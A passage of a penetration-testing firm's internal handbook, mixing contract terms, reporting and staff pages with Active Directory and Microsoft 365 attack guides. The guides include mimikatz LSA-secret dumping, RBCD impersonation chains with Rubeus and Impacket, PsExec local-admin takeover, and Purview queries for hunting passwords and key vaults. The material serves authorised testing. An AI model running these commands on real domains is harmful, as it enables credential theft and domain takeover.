(Delegation) mimikatz # lsadump::secrets Domain : LAB SysKey : :w Local name : LAB ( S-1-5-21- ) Domain name : AD ( S-1-5-21- ) Domain FQDN : lab.internal Policy subsystem is : 1.18 LSA Key(s) : 1, default {} [00] {} Secret : $MACHINE.ACC cur/text: , NTLM: SHA1: old/text: , NTLM: SHA1: ``` ### Impersonating a user The configured RBCD can now be abused with Rubeus to impersonate a domain admin towards `SCCM$` and obtain a valid Kerberos ticket for the CIFS service. `PS C:\temp> .\Rubeus.exe s4u /user:attacker-notebook$ /rc4: /impersonateuser:admin /msdsspn:cifs/SCCM /ptt /nowrap` ![Using rubeus for ptt](/images/rubeus-s4u-ptt.png){width="auto"} Use the newly issued Kerberos ticket to add your user `user` to the local administrators group on `SCCM1$` via PsExec. ### Add your user to the local admin group ```powershell PS C:\temp\psexec> .\PsExec.exe \\SCCM net localgroup Administrators user /add PsExec v2.43 - Execute processes remotely Copyright (C) 2001-2023 Mark Russinovich Sysinternals - www.sysinternals.com The command completed successfully. net exited on SCCM with error code 0. ``` ![Adding user to local administrators on sccm1$](/images/psexec-add-local-admin.png){width="auto"} As a local admin, you can now access the SCCM server via RDP. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/read-access-to-tables-with-compiled-assemblies.md description: >- How overly broad table permissions can allow users to list and download compiled Dataverse/D365 plugin assemblies. --- # Read access to tables with compiled assemblies The described [License to Role Mapping Risks](https://syslifters.sysre.pt/projects/59edbbe1-0791-4020-887e-e4d16ad6b1b0/notes/7abad07f-d5d2-47e0-9416-45283d8ed6c4/?c=6b20e7ac-cee4-48ee-9e5f-afed57fd6766) can lead to broad access for newly created users in environments. In one of our tests, we found that users with the automatically assigned "Company Base Default" role had "Read" permissions set to "Organization" on multiple tables. This included the table `pluginassembly`. This table contains all compiled D365 plugins. ![Organization wide Read access on table "pluginassembly"](/images/power-platform/pluginassembly-org-read-permission.png){width="auto"} Read permissions allowed all users to read data in this table and therefore list compiled assemblies. ![Listing available Assemblies with endpoint /api/data/v9.2/pluginassemblies?$select=name,version,pluginassemblyid](/images/power-platform/list-pluginassemblies-endpoint.png){width="auto"} Afterwards, with endpoint `/api/data/v9.2/pluginassemblies(:assembly-id)?$select=name,content`, these assemblies could be downloaded as Base64 encoded blob. ![Query compiled assembly](/images/power-platform/query-pluginassembly-content.png){width="auto"} Once the user has downloaded the assemblies, they could try to decompile and search for secrets directly in the code. ![Example of a decompiled application with cleartext credentials](/images/power-platform/decompiled-assembly-credentials.png){width="auto"} --- --- url: 'https://handbook.syslifters.com/pentesting-manual/mobile/remote-debugging.md' description: >- Use Chrome remote debugging when TLS interception breaks on-device traffic inspection. --- # Remote debugging on mobile Sometimes, when intercepting in Burp does not work (and switching the user agent also does not help), you can use Chrome’s remote debugging features to at least see web requests. On your mobile: * Enable USB Debugging in the developer options * Connect your phone via USB * Open Chrome On your workstation: * Download the Android SDK Platform Tools: * Extract it and run `adb devices` * Confirm the debugging request on your mobile * Open * Inspect your target tab --- --- url: 'https://handbook.syslifters.com/pentesting-manual/reporting/report-writing.md' description: >- Style and clarity guidelines for pentest reports (voice, tense, recommendations, and redaction). --- # Report writing * Write in past tense. * Prefer active voice over passive voice. * "We recommend to..." instead of "It is recommended..." * Write recommendations in bullet points. * Use the imperative form for important actions (e.g.,"Set the `SameSite` cookie attribute to `Strict`.") * Omit bullet point if there is only one recommendation. * Redact sensitive information, like names from uninvolved people, passwords, cookies, etc. * You can also blur parts of screenshots for the sake of a better overview. * See [Redact sensitive data](screenshots#redact-sensitive-data) * Don't give additional recommendations for already implemented things. * E.g., don't recommend setting the `HttpOnly` attribute if the server already does. ## Further reading * [Google Tech Writing Course](https://developers.google.com/tech-writing/overview) --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/lateral-movement/kerberos-delegation/rbcd.md description: >- Abusing msDS-AllowedToActOnBehalfOfOtherIdentity to impersonate any user against a target computer. --- # Resource-Based Constrained Delegation (RBCD) Unlike classic constrained delegation (configured by a domain admin on the *delegating* account), RBCD is configured on the resource itself: the attribute `msDS-AllowedToActOnBehalfOfOtherIdentity` of the target object lists which principals are allowed to delegate to it. If we can write that attribute on a target computer, we can nominate an attacker-controlled account, then chain S4U2Self into S4U2Proxy to obtain a service ticket *as any user* (typically `Administrator`) for any service of that target. See the diagram on [Delegations overview](./delegations-overview) for the trust direction. Requirements: * Write access to `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target computer object (`WriteAccountRestrictions`, `GenericAll`, `GenericWrite` or full control via owner/`WriteDACL`). * An account *we control* that has an SPN. A computer account always has one; `MachineAccountQuota` (default `10`) lets any authenticated domain user create computer accounts. * DC on Server 2012 R2 or newer (RBCD is processed by the KDC since that version). * The user we want to impersonate must not have `Account is sensitive and cannot be delegated` set and must not be in `Protected Users`. ## Attack chain (Windows / Rubeus + RSAT) The Active Directory PowerShell module exposes `Set-ADComputer -PrincipalsAllowedToDelegateToAccount` which writes `msDS-AllowedToActOnBehalfOfOtherIdentity` correctly for us. ```powershell # 1. Create a controlled computer account (Powermad - no admin, no RSAT) New-MachineAccount -MachineAccount ATTACKER -Password (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) # 2. Set RBCD on the target (RSAT AD module on the attacker host) Set-ADComputer TARGET -PrincipalsAllowedToDelegateToAccount ATTACKER$ # Verify Get-ADComputer TARGET -Properties PrincipalsAllowedToDelegateToAccount # 3. Get the attacker computer's AES256 key, then S4U as Administrator and inject the resulting TGS Rubeus.exe hash /password:Password123! /user:ATTACKER /domain:lab.local Rubeus.exe s4u /user:ATTACKER$ /aes256: /impersonateuser:Administrator /msdsspn:cifs/target.lab.local /ptt ``` The same primitive works for any SPN the target exposes (`http/`, `host/`, `ldap/`, `mssqlsvc/`, ...). ## Attack chain (Linux / Impacket) ```sh # 1. Create a controlled computer account (default MachineAccountQuota = 10) impacket-addcomputer -computer-name 'ATTACKER$' -computer-pass 'Password123!' \ -dc-host dc01.lab.local 'lab.local/lowpriv:Summer2025!' # 2. Write our SID into msDS-AllowedToActOnBehalfOfOtherIdentity on the target impacket-rbcd -delegate-to 'TARGET$' -delegate-from 'ATTACKER$' -action write \ 'lab.local/lowpriv:Summer2025!' # 3. Request a service ticket as Administrator for a service of the target impacket-getST -spn 'cifs/target.lab.local' -impersonate Administrator \ 'lab.local/ATTACKER$:Password123!' # 4. Use the ticket export KRB5CCNAME=Administrator@cifs_target.lab.local@LAB.LOCAL.ccache impacket-psexec -k -no-pass target.lab.local ``` ## Without creating a new computer account When `MachineAccountQuota = 0` (or creating a rogue computer is undesirable for opsec), we can reuse the machine account of a host we already control as the SPN-bearing principal. Prerequisites: * Local admin / SYSTEM on a domain-joined host (call it `HOSTA`). * Write access to `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target object (`HOSTB`) is still required. ```powershell # 1. As SYSTEM, read the machine account password from LSA secrets mimikatz # privilege::debug mimikatz # token::elevate mimikatz # lsadump::secrets # -> look for $MACHINE.ACC; the password is a raw hex blob ``` Convert the hex machine password to a Kerberos AES256 key using the script in [Tool cheat sheet: Convert HEX computer machine password to AES key for Rubeus](/pentesting-manual/active-directory/tool-cheat-sheet#convert-hex-computer-machine-password-to-aes-key-for-rubeus). The salt is `host.` ```powershell # 2. Write HOSTA's computer account into HOSTB's RBCD attribute Set-ADComputer HOSTB -PrincipalsAllowedToDelegateToAccount HOSTA$ # 3. S4U as Administrator using HOSTA's derived AES256 key Rubeus.exe s4u /user:HOSTA$ /aes256: /impersonateuser:Administrator /msdsspn:cifs/hostb.lab.local /ptt ``` > Mimikatz also produces the raw RC4 / NTLM of the machine account, which Rubeus accepts via `/rc4:`. ::: tip Local privilege escalation variant If you are looking for an LPE abusing RBCD, see [LPE via Kerberos relaying](../../privilege-escalation/kerberos-relaying#path-2-krbrelay-rbcd). ::: --- --- url: 'https://handbook.syslifters.com/about-us/samuel.md' description: >- Profile page and CV for Samuel Haim with contact details, experience, and certifications. --- samuel@syslifters.com ( S/MIME [cer](/assets/samuel.cer)/[pem](/assets/samuel.pem){target="\_blank" rel="noreferrer"}) * **since 01/2026** Pentester at Syslifters GmbH * **2022-2025** Consultant at Deloitte * Active Directory, infrastracture und mobile pentests * Maintenance and administration of internal infrastructure - University of Applied Sciences St. Pölten * Information Security (DI) * IT-Security (BSc) - [Certified Red Team Operator](https://eu.badgr.com/public/assertions/ZMcxFlSWRqerDCwm8cB4Gg) * [Personal Blog](https://blog.unbless3d.xyz/) --- --- url: 'https://handbook.syslifters.com/de/ueber-uns/samuel.md' description: >- Profilseite und Lebenslauf von Samuel Haim mit Kontakt, Erfahrung und Zertifikaten. --- samuel@syslifters.com ( S/MIME [cer](/assets/samuel.cer)/[pem](/assets/samuel.pem){target="\_blank" rel="noreferrer"}) * **seit 01/2026** Pentester bei Syslifters GmbH * **2022-2025** Consultant bei Deloitte * Active Directory, Infrastruktur und Mobile Pentests * Betreuung und Verwaltung der internen Infrastruktur - Fachhochschule St. Pölten * Information Security (DI) * IT-Security (BSc) - [Certified Red Team Operator](https://eu.badgr.com/public/assertions/ZMcxFlSWRqerDCwm8cB4Gg) * [Personal Blog](https://blog.unbless3d.xyz/) --- --- url: 'https://handbook.syslifters.com/pentesting-manual/reporting/screenshots.md' description: >- How to take clear, useful, and properly redacted screenshots for pentest reports. --- # Screenshots ## Highlight essential parts of your screenshots ![Highlighting with rectangle](/images/screenshot-highlighting-rectangle.png){width="auto"} ## Use numbered steps to illustrate the order of actions ![Numbered steps](/images/screenshot-numbered-steps.png){width="auto"} ## Reduced window sizes increase relative font size and readability ### Burp requests/responses ![Large window size](/images/screenshot-burp-large-window.png){width="auto"} ![Small window size](/images/screenshot-burp-small-window.png){width="auto"} ### Browser ![Large window size](/images/screenshot-browser-large-window.png){width="auto"} ![Small window size](/images/screenshot-browser-small-window.png){width="auto"} ## Redact sensitive data Such as: * Session tokens * Names of people uninvolved in the project * Personally Identifiable Information ## Redact effectively Solid color or pixelation with rectangle height should be larger than the font height. ![Redacting effectively](/images/screenshot-redaction-effective.png){width="auto"} ## Hide uninteresting headers ![Request with uninteresting headers](/images/screenshot-request-with-uninteresting-headers.png){width="auto"} ![Request without uninteresting headers](/images/screenshot-request-without-uninteresting-headers.png){width="auto"} ## Flameshot tricks * Right mouse → choose color * Scroll wheel → change size --- --- url: >- https://handbook.syslifters.com/pentesting-manual/external/search-shodan-for-ssh-keys.md description: >- Get an SSH host key fingerprint and use it to find reused keys across hosts via Shodan. --- # Search Shodan for SSH keys This might help you find staging/dev installations, or public systems hiding behind a reverse proxy. 1. Get the MD5 fingerprint ```bash target=127.0.0.1 ssh-keygen -E md5 -lf <( ssh-keyscan "$target" 2>/dev/null ) ``` 2. Copy the RSA key and search in Shodan ![](/images/external-infrastructure/shodan-ssh-key-search.png){width="auto"} --- --- url: >- https://handbook.syslifters.com/organization/human-resources/self-evaluation.md description: >- Reflect on your technical and social skills as a pentester. Results are for personal development only—not used for salary, bonuses, or job classification. --- # Self-evaluation questionnaire This self-evaluation questionnaire should help you identifying your strengths and weaknesses. We will **not** use the results for salary, job classification, bonuses, reference letters etc. * If you find a question ambiguous or unclear, please mark it, so we can improve it. * This questionnaire might imply things that might be expected from you. * "I didn't know you expect this from me.", "I didn't know I'm allowed to do this." * Let us discuss this! * If you think you can improve in some points, but you are missing guidance or documentation, please let us know. * We suggest that one of the founders keeps your filled-out questionnaire and returns it you when we fill out the questionnaire the next time. * This is optional; you can disard it or keep it yourself. * We keep it for the future "you". We will not evaluate it, apply any scores, etc. * We will discard or return it if you leave the company. ## After filling out the questionnaire * Select one questionnaire-section (e.g., "Report Writing", etc.) in which you want to improve: \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ * How can we as a company or as a team support you with this? \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ * Present your results to one of your colleagues (by selecting one or by drawing lots). * Seek honest feedback. * Optional: Share your thoughts with the team. ## Technical Competence ### Web Pentesting ◯ 🌱 ◯ 🌿 ◯ 🌳 - I know at least the OWASP Top 10 and can identify simple vulnerabilities\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I conduct web pentests independently and analyze complex vulnerabilities\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I develop new testing methods ◯ 🌱 ◯ 🌿 ◯ 🌳 - I share my knowledge and train my colleagues in web pentesting ### Active Directory / Internal Infrastructures ◯ 🌱 ◯ 🌿 ◯ 🌳 - I understand basic AD attack concepts\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I know basic concepts of Entra ID and hybrid identity environments\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I conduct AD pentests independently and analyze complex attacks\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I have in-depth AD and Entra ID knowledge and develop concepts and defense strategies for customers\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I share knowledge and train colleagues in AD/Entra ID pentesting ### Tools & Automation ◯ 🌱 ◯ 🌿 ◯ 🌳 - I use standard tools confidently\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I automate recurring test steps with self-developed scripts/procedures (including Burp features)\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I develop my own testing approaches beyond automated scanners or existing tools ### Report Writing ◯ 🌱 ◯ 🌿 ◯ 🌳 - I document simple and recurring findings in the report (e.g., session not invalidated after logout)\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I document complex finding descriptions well-structured, clearly and independently\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I write different report sections for different target audiences (developers, admins, management)\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I deliver solid presentations for technical audiences\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I deliver solid presentations for management audiences\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I describe findings technically correctly and reproducibly\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I formulate findings in a way that customers can understand\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I can explain risks in business-oriented terms\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - My remediation recommendations are concrete and reasonably actionable\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I process peer review feedback purposefully and learn from it\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I start writing the report early, so I can finish the project in time ### Engagement & Process ◯ 🌱 ◯ 🌿 ◯ 🌳 - I understand the scope, boundaries, and approach of a pentest\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I follow the [pentesting operation rules](/pentesting-manual/operation-rules)\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I conduct kickoffs and prepare pentests ◯ 🌱 ◯ 🌿 ◯ 🌳 - I communicate critical findings promptly via the agreed channels\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I schedule mid-test check-ins early\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I conduct mid-test check-ins\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I own the entire engagement flow, including retest and remediation documentation\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I prepare findings during the test, so a later retest is possible without rebuilding the attack chain\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I document findings precisely enough that a retest can be performed (including by another person) ## Social Competence ### Self-Responsibility ◯ 🌱 ◯ 🌿 ◯ 🌳 - I complete tasks according to instructions\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I identify blockers early and report them when needed\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I seek feedback proactively\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I meet deadlines\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I plan projects independently, structure and prioritize tasks\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I own projects end-to-end: prioritize, make decisions, organize execution\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I identify and report weaknesses in our team and internal processes\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I suggest improvements to our team and internal processes ### Communication ◯ 🌱 ◯ 🌿 ◯ 🌳 - I communicate clearly and give constructive feedback\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I explain technical topics in an understandable way\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I conduct myself confidently in customer meetings\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I can argue findings convincingly\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I ask follow-up questions when something is unclear ### Teamwork ◯ 🌱 ◯ 🌿 ◯ 🌳 - I share knowledge actively within the team\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I work actively with colleagues on projects\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I give constructive feedback\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I accept feedback\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I work solution-oriented in projects in the customer's interest\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I lead project teams and/or provide mentoring\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - My colleages enjoy working on projects with me ### Documentation ◯ 🌱 ◯ 🌿 ◯ 🌳 - I fix minor errors in the handbook immediately\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I add topics to existing handbook pages\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I create new handbook pages on new topics ### Customer Orientation ◯ 🌱 ◯ 🌿 ◯ 🌳 - I have a basic understanding of customer requirements\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I advise customers actively and adapt my communication to the target audience\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I build long-term customer relationships and provide strategic advice ### Ethics & Confidentiality ◯ 🌱 ◯ 🌿 ◯ 🌳 - I treat customer data and findings confidentially and in accordance with agreements\ ◯ 🌱 ◯ 🌿 ◯ 🌳 - I strictly adhere to scope boundaries and test only with explicit approval ## *...one last thing* Is there anything you cannot implement due to external factors, which should be improved?\ This could be something like, missing documentation, gatekeeping superiors, hindering culture, missing budget, bad processes, etc. What would you like to improve? \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\ Please approach us, so we can improve. --- --- url: 'https://handbook.syslifters.com/pentesting-manual/reporting/sending-reports.md' description: >- Guidance for securely sharing pentest reports - encrypted PDFs, password-protected links, expiry dates, and secondary-channel password delivery. --- # Sending reports * Store the report in a SysReptor project note. * Password-protect the PDF. * This prevents the report to be forwarded without encryption via insecure channels without enforced retention mechansims (like auto-delete). * Also password-protect the sharing link. * Even though the link contains a random UUID, public links are at risk to be exposed or even archived at web archiving services (like archive.org or archive.is). * The password for PDF and the sharing link can be the same. * Set an expiration date for the sharing link (e.g., 2 weeks) * You can transmit the sharing link via email. * If you need to send the password, transmit it via another channel. * Recommended: Signal messenger * Alternative: SMS * Not recommended: MS Teams (this is usually the same account as email; if one is compromised, the other is probably too) * Only send the encrypted PDF report at a written explicit request from our customers. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/entraid-azure/enumeration/sensitive-data-discovery.md description: >- Hunt credential stores, secrets, and high-risk file types across SharePoint, OneDrive, and Exchange Online using Microsoft Purview eDiscovery content search. --- # Sensitive data discovery Hunt credential stores, secret material, and high-risk file types tenant-wide across SharePoint, OneDrive, and (via keyword search) Exchange Online. Our tool of choice is [Microsoft Purview eDiscovery](https://learn.microsoft.com/en-us/purview/edisc): it indexes mailboxes and sites org-wide and lets us query them with KeyQL and built-in sensitive-information types. ## Purview eDiscovery Prereqs: account in *eDiscovery Manager* or *eDiscovery Administrator* (or a custom role with search/export rights). Credential-related sensitive information types (SITs) (e.g. [All credentials](https://learn.microsoft.com/en-us/purview/sit-defn-all-creds), [General password](https://learn.microsoft.com/en-us/purview/sit-defn-general-password), [Client secret / API key](https://learn.microsoft.com/en-us/purview/sit-defn-client-secret-api-key)) require advanced classification and typically E5 / premium eDiscovery. Confirm licensing before relying on `SensitiveType` for secrets. Scope note: `SensitiveType:"..."` matches classified content on SharePoint / OneDrive (indexed documents). It does not search mailbox/Teams chat bodies for SIT matches the same way; combine with keyword queries for mailboxes. Stay within ROE for search, export, and retention. ### Run a content search 1. Purview portal, *eDiscovery*, open the system *Content Search*. 2. *New search*, add locations (all users, specific users, sites, or org-wide SharePoint/OneDrive/Exchange as needed). 3. In the query box, use KeyQL ([keyword query language](https://learn.microsoft.com/en-us/purview/edisc-keyword-query-language)) and/or the condition builder ([conditions](https://learn.microsoft.com/en-us/purview/edisc-condition-builder)). 4. Run the search, then review *Sample* (hit counts, locations, size). ### Downloading arbitrary files Direct download works for common file types (e.g. `.docx`, `.csv`, email): select the item and use *Download*. When *Download* is missing (e.g. `.kdbx`, other non-preview types), pull the file via the preview API: 1. Open the item in preview anyways, then *DevTools*, *Network*. 2. Find the `GetPreviewInfo` request, copy `DocumentId` from the JSON response. 3. Download any file that *does* offer the download functionality, *Copy as cURL* (request to `/api/DocumentPreview/DownloadDocument`). 4. In that cURL, replace the `documentId` query value with the ID from step 2, run with `-o `. ```bash # The download request should look something like this curl 'https://purview.microsoft.com/api/DocumentPreview/DownloadDocument?documentId=' \ -X POST \ -o file.kdbx ``` ### Query patterns #### Credential / secret files (extension-based) Target vaults, keys, and common leak formats on sites (use keyword `filetype:` for prefix/wildcard behavior; in the GUI *File type* condition, list extensions explicitly. `doc*` does not match `docx`): ```text filetype:kdbx OR filetype:pem OR filetype:pfx OR filetype:p12 OR filetype:key OR filetype:ppk OR filetype:ovpn OR filetype:rdp ``` ```text (filename:password* OR filename:*secret* OR filename:*credential*) AND (filetype:txt OR filetype:csv OR filetype:xlsx OR filetype:json OR filetype:xml OR filetype:env) ``` #### Keyword hunts (content in body/metadata) ```text password OR passwd OR pwd OR secret OR "api key" OR apikey OR api_key OR connectionstring OR "client secret" OR privatekey OR "BEGIN RSA PRIVATE KEY" ``` #### Externally shared sensitive data ```text ViewableByExternalUsers:true AND SensitiveType:"All Credentials" ``` ```text ViewableByExternalUsers:true AND filetype:kdbx ``` ### References * [Find sensitive data on sites](https://learn.microsoft.com/en-us/purview/ediscovery-find-sensitive-data-stored-on-sites): `SensitiveType` syntax and examples. * [Keyword queries and search conditions](https://learn.microsoft.com/en-us/purview/ediscovery-keyword-queries-and-search-conditions): `filetype`, conditions, limitations. * [Sensitive information type definitions](https://learn.microsoft.com/en-us/purview/sit-sensitive-information-type-entity-definitions): full SIT list (API keys, tokens, passwords). * [eDiscovery workflow](https://learn.microsoft.com/en-us/purview/edisc-workflow): cases, holds, review sets. --- --- url: 'https://handbook.syslifters.com/service-description.md' description: Service description (terms) for offensive security services. --- # Service description of penetration tests ## General principles and scope of application 1\. All legal transactions in connection with penetration tests and phishing simulations between the Client and the Contractor (Management Consultant) - hereinafter referred to only as the Contractor - shall be governed exclusively by this Service Description. The version valid at the time the contract is concluded shall apply. 2\. The Client may only be an entrepreneur within the meaning of § 1 of the Austrian Consumer Protection Act (KSchG). 3\. This service description also applies to all future contractual relationships in connection with penetration tests and phishing simulations, even if no express reference is made to this in additional contracts. 4\. Conflicting general terms and conditions of the Client are invalid unless they are expressly recognized by the Contractor in writing. 5\. In the event that individual provisions of this service description are and/or become invalid, this shall not affect the validity of the remaining provisions and the contracts concluded on the basis thereof. The invalid provision shall be replaced by a valid provision that comes as close as possible to the meaning and economic purpose of the invalid provision. ## Aim and scope of penetration tests 6\. The aim of penetration tests is to identify technical risks and vulnerabilities in the target systems. 7\. In the course of carrying out penetration tests, no measures are carried out with the aim of making the target systems unavailable (denial of service, distributed denial of service), unless such a service is explicitly offered in the offer. 8\. The scope of the specific penetration test is contractually agreed on a case-by-case basis and is limited in time ("time box"). The Contractor does not guarantee that all existing security vulnerabilities will actually be uncovered. This is due to the limited time resources available and the penetration testers' limited knowledge of IT infrastructure, software, source code, users, etc. The disclosure of system internals, the provision of test users and the comprehensive cooperation of the client with the contractor increase the efficiency of the penetration test. 9\. The Client shall provide the Contractor with the list of target systems ("scope"; IP addresses, domains, subdomains, locations, e-mail addresses, etc.) in writing (e.g. by e-mail) no later than three working days before the start of the service. The transmission of the scope is accompanied by the client's implicit permission to carry out intrusive penetration tests ("Permission to Attack"). The client guarantees to have the authorization to have the named target systems intrusively attacked. ## Aim and scope of phishing simulations 10\. The aim of phishing simulations is to create and raise the security awareness of the target group defined by the client. 11\. The scope and exact design of the phishing simulation shall be agreed between the client and the contractor. 12\. The Client shall provide the Contractor with the list of e-mail addresses of the recipients ("scope") in writing (e.g. by e-mail) no later than three working days before the start of the service. The transmission of the scope is accompanied by the Client's implicit permission to carry out phishing simulations ("Permission to Attack"). The client guarantees to have the authorization to carry out phishing simulations with the transmitted scope. 13\. The client shall ensure that all technical measures to block unwanted emails (SPAM protection, phishing prevention, anti-virus systems, mail security solutions, etc.) are deactivated for the sender addresses to be specified by the client during the execution period. Otherwise, the delivery of the phishing simulation to the recipients and thus the successful execution of the service cannot be guaranteed. ## Duty of the client to provide information and cooperate 14\. The performance period shall be agreed between the Contractor and the Client. The lead time between the conclusion of the contract and the start of the performance period may be up to twelve weeks. 15\. The client shall ensure that all documents, accesses, user accounts, authorizations and operating resources necessary for the performance and execution of the service are submitted to the contractor at least three working days before the start of the service, even without a special request from the contractor. 16\. The Client shall ensure that the organizational framework conditions allow for work that is as undisturbed as possible and conducive to the rapid progress of the service process during the performance of the service. 17\. The client shall ensure that all necessary bodies (if applicable, its employees, the established employee representative body (works council), etc.) are informed of the contractor's activities before they begin. ## Confidentiality / data protection 18\. The Contractor undertakes to maintain absolute confidentiality about all business matters of which it becomes aware, in particular business and trade secrets as well as any information it receives about the nature, scope of operations and practical activities of the Client. 19\. Furthermore, the Contractor undertakes to maintain confidentiality vis-à-vis third parties regarding all information and circumstances that it has received in connection with the performance of the commissioned service. 20\. The Contractor shall be released from the duty of confidentiality vis-à-vis any assistants and representatives it uses. However, he must impose the duty of confidentiality on them in full and shall be liable for their breach of the duty of confidentiality as for his own breach. 21\. If security vulnerabilities are identified in third-party components (e.g. software or hardware) in the course of the service, the Contractor is entitled to inform the manufacturer, apply for CVE (Common Vulnerabilities and Exposures) numbers and publish them as part of a responsible disclosure process. Publication takes place taking into account the remediation status and risk of the client. 22\. The duty of confidentiality extends indefinitely beyond the end of this contractual relationship. Exceptions exist in the case of statutory obligations to testify. 23\. The Contractor is entitled to process personal data entrusted to it within the scope of the purpose of the contractual relationship. The Client warrants to the Contractor that all legal measures have been taken for this purpose. ## Liability / compensation for damages 24\. The performance of penetration tests may affect the integrity and availability of the target systems and/or connected systems. The Client shall ensure that the integrity and availability can be restored at any time during the execution of the penetration tests (e.g. via data backups, etc.). The Contractor shall not be liable for interruptions, failures and/or data losses, even if these were caused by the Contractor. 25\. The Contractor shall only be liable to the Client for damages - with the exception of personal injury - in the event of gross negligence (intent or gross negligence). This shall also apply mutatis mutandis to damage attributable to third parties engaged by the Contractor. 26\. Liability for consequential damages, loss of profit, loss of savings and damages from third-party claims is excluded. The Client shall fully indemnify and hold the Contractor harmless with regard to all claims asserted by third parties. 27\. Claims for damages by the Client can only be asserted in court within six months of becoming aware of the damage and the damaging party, but at the latest within three years of the event giving rise to the claim. 28\. The Client must provide proof that the damage is attributable to the Contractor's fault. 29\. If the Contractor provides the commissioned service with the assistance of third parties and warranty and/or liability claims arise against these third parties in this context, the Contractor shall assign these claims to the Client. In this case, the Client shall give priority to these third parties. ## Reporting 30\. The client shall receive the final report no later than four weeks after completion of the order. The final report is transmitted electronically in encrypted form. The access data required to open it (e.g. password) is transmitted via a second channel (e.g. Signal Messenger, SMS). 31\. The Contractor is not bound by instructions when providing the commissioned service and acts at its own discretion and under its own responsibility. He is not bound to a specific place of work or specific working hours. 32\. If, at the request of the Client, the service must be provided outside normal working hours (working days Monday to Friday between 08.00 and 18.00 CET), a surcharge of 100% shall be charged for Sundays and public holidays and a surcharge of 50% for Saturdays and Mondays to Fridays between 18.00 and 08.00 CET. 33\. If the service is performed by the Contractor at the Client's premises, the Client shall provide a suitable working environment free of charge. This working environment shall include a state-of-the-art office infrastructure including Internet access and shall comply with the applicable local workplace regulations. ## Substitution 34\. The Contractor shall be entitled to have the tasks incumbent upon it performed in whole or in part by third parties. Payment of the third party shall be made exclusively by the Contractor itself. No direct contractual relationship of any kind shall arise between the third party and the client. ## Fee 35\. The Contractor shall be entitled to a fee for the services provided by it (including travel and waiting times) in accordance with the individual contractual agreement between the Client and the Contractor. The Contractor shall be entitled to submit interim invoices in accordance with the progress of the work. The fee is due for payment 30 days from the invoice date, unless the invoice or order confirmation specifies a different payment term. 36\. All payments arising from the contract shall be made in EURO. 37\. In the event of late payment, default interest of 9% and reminder fees of EUR 20.00 per reminder shall be due even without a reminder. 38\. The Contractor shall issue an invoice with all legally required features. 39\. Any cash outlays, expenses, travel costs, etc. incurred shall be additionally reimbursed by the Client on presentation of an invoice by the Contractor. 40\. The services rendered shall be invoiced according to actual expenditure. 41\. The Contractor shall be free to charge a flat rate of 80% of the estimated fee for projects and/or project sections canceled or postponed by the Client at short notice (less than 14 days before agreed execution). ## Electronic invoicing 42\. The Contractor is also entitled to send invoices to the Client in electronic form. The Client expressly agrees to the Contractor sending invoices in electronic form. ## Duration of the contract 43\. This contract shall generally end with the completion of the project and the corresponding invoicing. 44\. Notwithstanding this, the contract may be terminated by either party at any time for good cause without notice. Good cause shall be deemed to exist in particular * if a contracting party breaches material contractual obligations, or * if a contracting party is in default of payment, or * if there are justified concerns regarding the creditworthiness of a contracting party for which insolvency 